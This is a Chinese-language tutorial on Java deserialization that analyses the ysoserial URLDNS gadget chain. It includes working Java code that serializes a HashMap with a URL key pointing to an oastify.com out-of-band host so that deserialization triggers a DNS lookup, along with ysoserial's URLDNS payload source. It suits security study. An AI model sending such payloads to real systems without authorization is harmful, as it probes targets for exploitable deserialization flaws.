Java代码审计-URLDNS链分析

0x00 前言

本文所述的是URLDNS利用链分析,在此之前还要先介绍一下一个⾥程碑碑式的工具:ysoserial

引用官网的一句描述:

ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

该工具它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

而URLDNS就是ysoserial其中的一条利用链,虽然说不能执行命令,但可以检测是否存在反序列化漏洞。

利利⽤用链也叫“gadget chains”,我们通常称为gadget。

0x01 Java序列化和反序列化

在了解URLDNS链之前我们先来理解一下Java的序列化和反序列化的概念。

我们知道PHP也是存在序列化和反序列化的,PHP中是使用各种魔术方法来实现,那在Java中就是使用readObject和writeObject来实现的。

在看本文时记得先去学习一下Java的基础,下面只是作为回顾介绍

Java序列化

对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。核心作用是对象状态的保存与重建。

我们先建立一个可序列化的普通类,这个类必须要实现一个接口java.io.Serializable才能被序列化:

import java.io.Serializable;


public class Serializable_01 implements Serializable {
    public String name;
    public int age;

    public void Method1(){
        System.out.println("Method1 Running");
    }

    @Override
    public String toString() {
        return "Serializable_01{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public Serializable_01(String name, int age) {
        this.name = name;
        this.age = age;

    }
}

接下来我们来对该对象进行序列化:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serial_Test {
    public static void main(String[] args) {
        Serializable_01 Ser = new Serializable_01("xiaomign",12);
        ObjectOutputStream obj  =null;

         try {
            obj = new ObjectOutputStream(new FileOutputStream("xiaoming.ser"));
            obj.writeObject(Ser);
        } catch (IOException e) {
            e.printStackTrace();
        }


    }

}

我们实例化了Serializable_01对象,然后利用对象的构造函数赋值,最后使用writeObject进行把对象变成二进制内容写入到了xiaoming.ser文件中,这样序列化就完成了。

如果我们想要看序列化后的内容,可以使用一个工具进行查询SerializationDumper

使用方法:

java -jar SerializationDumper-v1.13.jar -r xiaoming.ser

查询刚才序列化的文件结果:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 15 - 0x00 0f
        Value - Serializable_01 - 0x53657269616c697a61626c655f3031
      serialVersionUID - 0x0f e1 71 6f 69 bd 44 6f
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 3 - 0x00 03
            Value - age - 0x616765
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      Serializable_01
        values
          age
            (int)12 - 0x00 00 00 0c
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 8 - 0x00 08
                Value - xiaomign - 0x7869616f6d69676e

当然有序列化就有反序列化,反序列化就是客户端从文件中或网络上获得序列化后的对象字节流,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

上面我们使用writeObject来进行写入序列化内容,我们就可以使用readObject来反序列化序列化后的文件。

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerial_Test {
    public static void main(String[] args) {

        Serializable_01 Ser = null;
        ObjectInputStream obj = null;
        try {
            obj = new ObjectInputStream(new FileInputStream("xiaoming.ser"));
            Ser = (Serializable_01) obj.readObject();
            Ser.Method1();
            System.out.println(Ser.name);
            obj.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }


    }

}

上面代码执行后输出的结果:

Method1 Running
xiaomign

有些同学很奇怪说为什么要加这一句啊:

Ser = (Serializable_01) obj.readObject();

如果我们直接使用下面来触发ToString方法:

System.out.println(obj.readObject());

发现输出下面内容:

Serializable_01{name='xiaomign', age=12}

但是你无法使用obj.readObject().Method1去触发对象里面的方法,因为没有用对象转换之前是一个Object类,所以只能出发Object类默认的方法。

为什么要序列化,那就是说一下序列化的好处喽,序列化有什么什么优点,所以我们要序列化。

一:对象序列化可以实现分布式对象。

主要应用例如:RMI(即远程调用Remote Method Invocation)要利用对象序列化运行远程主机上的服务,就像在本地机上运行对象时一样。

二:java对象序列化不仅保留一个对象的数据,而且递归保存对象引用的每个对象的数据。

可以将整个对象层次写入字节流中,可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的”深复制”,即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。

三:序列化可以将内存中的类写入文件或数据库中。

比如:将某个类序列化后存为文件,下次读取时只需将文件中的数据反序列化就可以将原先的类还原到内存中。也可以将类序列化为流数据进行传输。

总的来说就是将一个已经实例化的类转成文件存储,下次需要实例化的时候只要反序列化即可将类实例化到内存中并保留序列化时类中的所有变量和状态。

四:对象、文件、数据,有许多不同的格式,很难统一传输和保存。

序列化以后就都是字节流了,无论原来是什么东西,都能变成一样的东西,就可以进行通用的格式传输或保存,传输结束以后,要再次使用,就进行反序列化还原,这样对象还是对象,文件还是文件。

这块内容摘录自:Java知音

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

但是它有以下优点:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

我们先来写一个序列化的对象:

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsExp {

    public static void main(String[] args) throws Exception{
        HashMap<URL, String> obj = new HashMap<URL, String>();
        URL url = new URL("http://hyji8wgb7eebb7rimnzf84prfil9mxb.oastify.com");
        obj.put(url,"1234");
        
        //序列化
        FileOutputStream fo = new FileOutputStream("dns.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();


    }


}

我们来运行一下就可以发现burp上面的Collaborator记录了两条DNS的访问:

图片[1]-Java代码审计-URLDNS链分析-山海云端论坛

为什么能触发DNS访问呢?我们可以Debug一下触发的流程:

先在put的地方下一个断点:

2

跟到put方法:

3

继续跟hash方法:

4

如果key不等于空,那么就执行key的hashCode方法,key是一个URL的对象,所以会跳到URL类里面的hashCode方法:

5

判断如果不等于-1那么就往下执行,这里的hashCode默认就是-1:

6

还有下面的handler指向的是URLStreamHandler类中国呢的hashCode方法:

7

继续往下跟getHostAddress方法:

8

到URL类中的 InetAddress.getByName方法:

9

一般到这里就OK了,如果真想继续跟下去就会到InetAddress类中方法才触发:

getAddressesFromNameService->nameService.lookupAllHostAddr(host)

我们可以看下getByName的官方介绍:

10

给一个host’s name返回IP地址。

那么整个的过程如下:

HashMap.put() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()

我们可以知道执行上面的代码进行序列化的时候也会触发DNS请求,那么我们怎么样才可以不触发从而进行序列化呢?

我们的关键点还是在HashMap中的hashCode方法中,只要我们设置hashCode的值不为-1即可。

5-3

我们知道URL里面的hashCode值是私有的,我们不能通过对象直接写入内容,但是可以使用Java的反射特性。

我们在原有的基础上加入下面的内容:

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsExp {

    public static void main(String[] args) throws Exception{
        HashMap<URL, String> obj = new HashMap<URL, String>();
        URL url = new URL("http://hyji8wgb7eebb7rimnzf84prfil9mxb.oastify.com");
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");;
        field.setAccessible(true);
        field.set(url,1234);
        obj.put(url,"qwer");


        //序列化
        FileOutputStream fo = new FileOutputStream("dns.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();


    }


}

反射这块内容相信大家已经很熟悉了,获取私有属性的时候要使用getDeclaredField方法,还需要setAccessible来设置访问权限。

我们只要设置URL类中的hashCode不为-1即可。

再执行的时候我们已经发现不再触发DNS请求了。

经过上面的过程分析之后大家估计都会疑惑,为什么要用HashMap这个类呢?

这是一个非常好的问题,初学者都会有这样的疑惑。

大家有没有记得我们在第一章的反序列化中提到过:

能被序列化和反序列化的类需要实现Serializable接口,正好HashMap实现了这个接口。

11-2

并且HashMap类也重写了readObject方法。

我们现在先来写一个反序列化的代码:

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class UrlDnsRead {
    public static void main(String[] args) throws Exception{

        FileInputStream fis = new FileInputStream("dns.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
}

我们执行之后发现并没有请求,我们可以在URL类的hashCode方法中下一个断点进行调试:

12

我们可以发现现在的hashCode的值是我们在序列化的时候设置的值。

因为我们在序列化的时候为了不请求dns,设置hashCode不为-1了,当hashCode为-1的时候才能触发dns请求。

我们可以使用SerializationDumper查看序列化后的值是否被写进去:

java -jar SerializationDumper-v1.13.jar -r dns.ser

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
....
....
....
              superClassDesc
                TC_NULL - 0x70
            newHandle 0x00 7e 00 04
            classdata
              java.net.URL
                values
                  hashCode
                    (int)1234 - 0x00 00 04 d2 //这里就是设置的数值
                  port
                    (int)-1 - 0xff ff ff ff
                  authority
                    (object)
                      TC_STRING - 0x74
                        newHandle 0x00 7e 00 05
                        Length - 42 - 0x00 2a
                        Value - 6qxyz8op2m5bp7jw5gf83vpgq7wxkm.oastify.com - 0x367178797a386f70326d356270376a773567663833767067713777786b6d2e6f6173746966792e636f6d
                  file

怎么才能在反序列化的时候触发而在序列化的时候不触发呢?在序列化的时候加上这一句即可:

1field.set(url,-1);

那么我们序列化的整段代码就变为:

13

我们再次执行反序列化的时候就看到DNS请求了:

14-1

我们debug一下反序列化的过程,先在HashMap中重写readObject方法中下断点,我们往下走可以看到putVal中的hash方法:

15-1

再往下走是否似曾相识呢:

16-1

Key是URL对象,所以会触发URL里面的hashCode方法:

17

继续往下走就跟我们序列化的是一样的:

18

所以整个流程如下:

1HashMap.readObject() -> HashMap.putVal()->HashMap.hash()->URL.hashcode()->URLStreamHandler().hashCode().getHostAddress->URLStreamHandler().hashCode().getHostAddress.getByName()

我们可以看下ysoserial中的URLDNS.java是怎么写的:

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

其实跟我们上面序列化的部分是大同小异的,只是它把下面这句:

1field.set(url,1234);

换成了下面这段,重写了SilentURLStreamHandler方法:

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

整个过程其实很简单,因为相比于CC链来说确实是非常简单的一条链了,笔者文笔不是很好,大家如有建议可以在评论区留下宝贵的意见。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容